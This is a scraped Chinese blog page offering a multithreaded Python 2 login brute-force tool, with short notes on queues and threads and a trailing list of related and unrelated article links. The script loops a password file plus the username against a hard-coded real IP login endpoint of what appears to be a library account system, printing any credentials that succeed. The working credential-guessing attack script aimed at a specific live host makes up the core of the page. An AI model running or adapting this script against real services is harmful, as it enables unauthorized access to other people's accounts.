python 后台爆破工具(多线程)
非阻塞 q.put(item) 写入队列,timeout等待时间
q.put_nowait(item) 相当q.put(item, False)
threads多线程 首先导入threading 模块,这是使用多线程的前提
appent 把每个线程放在threads列表里
start 开始
join 主线程等待子线程完成。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import requests
import Queue
import threading
import time
# 1315935012
username = sys.argv[1]
password_file = sys.argv[2]
queue = Queue.Queue()
f = open(password_file)
for line in f.readlines():
queue.put(line.strip())
# 使用账号作为密码
queue.put(username)
def checkLogin(username, queue):
while not queue.empty():
try:
password = queue.get_nowait() #当一个队列为空的时候如果再用get取则会堵塞,所以取队列的时候一般是用到
#get_nowait()方法,这种方法在向一个空队列取值的时候会抛一个Empty异常
#所以更常用的方法是先判断一个队列是否为空,如果不为空则取值
except Queue.Empty:
break
#print password
url= "http://122.207.221.227:8080/pages/opac/login/clientlogin.jsp"
query = {
'callback': "jQuery17205871516966488435_1472197449413",
'username': username,
'password': password,
'loginType': "callNo",
'_': '1472197524853'
}
#print query
try:
resp = requests.get(url, query)
except:
queue.put(password)
resp.encoding = resp.apparent_encoding
if resp.text.find(u"密码或登录号错误") == -1 and resp.text.find(u"读者不存在") == -1 :
print u"[*] 账号: %s 密码: %s" % (username, password)
queue.queue.clear()
start_time = time.time()
threads = []
for i in range(0, 10):
t = threading.Thread(target=checkLogin, args=(username,queue) )
threads.append(t)
t.setDaemon(True)
t.start()
for t in threads:
t.join()
end_time = time.time()
print u"共用时: %f" % (end_time - start_time)
python 后台爆破工具(多线程)的更多相关文章
- python 后台爆破工具
sys:使用sys模块获得脚本的参数 queue模块,创建一个“队列”对象 time 模块 Python time time() 返回当前时间的时间戳(1970纪元后经过的浮点秒数). fin ...
- Python开发爆破工具
上一篇讲到了如何用Python开发字典,而当我们手里有了字典 就可以进一步去做爆破的任务了,可以用现成的工具,当然也可以自己写 接下来我就要一步一步来写爆破工具! 爆破MySQL: 想要爆破MySQL ...
- python 写的http后台弱口令爆破工具
今天来弄一个后台破解的Python小程序,哈哈,直接上代码吧,都有注释~~ 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 ...
- Python标准库08 多线程与同步 (threading包)
Python主要通过标准库中的threading包来实现多线程.在当今网络时代,每个服务器都会接收到大量的请求.服务器可以利用多线程的方式来处理这些请求,以提高对网络端口的读写效率.Python是一种 ...
- Python开发爆破字典
这里只是分享一下Python如何生成爆破字典 关于爆破工具编写我会在下一篇提到 其实有了爆破字典的话,直接使用Burp,Hydra等一些工具就可以做爆破了! Burp的使用在我以前的博客中有写过,至于 ...
- Python测试 ——开发工具库
Web UI测试自动化 splinter - web UI测试工具,基于selnium封装. selenium - web UI自动化测试. mechanize- Python中有状态的程序化Web浏 ...
- 自己动手python打造渗透工具集
难易程度:★★★阅读点:python;web安全;文章作者:xiaoye文章来源:i春秋关键字:网络渗透技术 前言python是门简单易学的语言,强大的第三方库让我们在编程中事半功倍,今天我们就来谈谈 ...
- python打造渗透工具集
python是门简单易学的语言,强大的第三方库让我们在编程中事半功倍,今天我们就来谈谈python在渗透测试中的应用,让我们自己动手打造自己的渗透工具集. 难易程度:★★★阅读点:python;web ...
- python测试开发工具库汇总(转载)
Web UI测试自动化 splinter - web UI测试工具,基于selnium封装. selenium - web UI自动化测试. mechanize- Python中有状态的程序化Web浏 ...
随机推荐
- CABasicAnimation的基本使用方法(移动·旋转·放大·缩小)
出处:http://blog.csdn.net/iosevanhuang/article/details/14488239 CABasicAnimation类的使用方式就是基本的关键帧动画. 所谓关键 ...
- BPM业务流程管理与SAP如何更好集成整合?
深圳市有方科技有限公司是一家专注于M2M物联网无线通信产品和服务的国家级高新技术企业.有方科技专注于无线应用需求的挖掘和实现,拥有产品规划.工业设计.结构.硬件.软件.测试.ID.物流等完整的研发及设 ...
- Can't update: no tracked branch
git更新错误:Can't update: no tracked branch No tracked branch configured for branch master. To make your ...
- asp.net 5 中应用程序根目录及物理文件根目录的获取方式 此文已过期,不再适应rc1以后的版本
之前看了asp.net5,小弟就试着用了用,做了个小网站练习一下,有一个小模块需要上传图片到wwwroot下的images文件夹,但是aspnet5 发生了翻天复地变化,之前获取网站根目录的的方法不再 ...
- C++ 为什么拷贝构造函数参数必须为引用?赋值构造函数参数也必须为引用吗?
之前写拷贝构造函数的时候,以为参数为引用,不为值传递,仅仅是为了减少一次内存拷贝.然而今天看到一篇文章发现自己对拷贝构造的参数理解有误. 参数为引用,不为值传递是为了防止拷贝构造函数的无限递归,最终导 ...
- STM32中断管理函数
CM3 内核支持256 个中断,其中包含了16 个内核中断和240 个外部中断,并且具有256 级的可编程中断设置.但STM32 并没有使用CM3 内核的全部东西,而是只用了它的一部分. STM32 ...
- mongo 导入json数据
删除库以及导入库
- 探索javascript----拖拽
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/ ...
- 封装captcha类 -- 画图四
<?php // 验证码类 class Captcha{ //属性 private $width; private $height; private $length; private $line ...
- 团队开发——冲刺2.g
冲刺阶段二(第七天) 1.昨天做了什么? 编写软件计划书第三阶段:整理用户体验建议:据用户对界面的要求,把小球改头换面,借鉴超级马里奥叔叔的道具们. 2.今天准备做什么? 最后的美工,统一整合: 测试 ...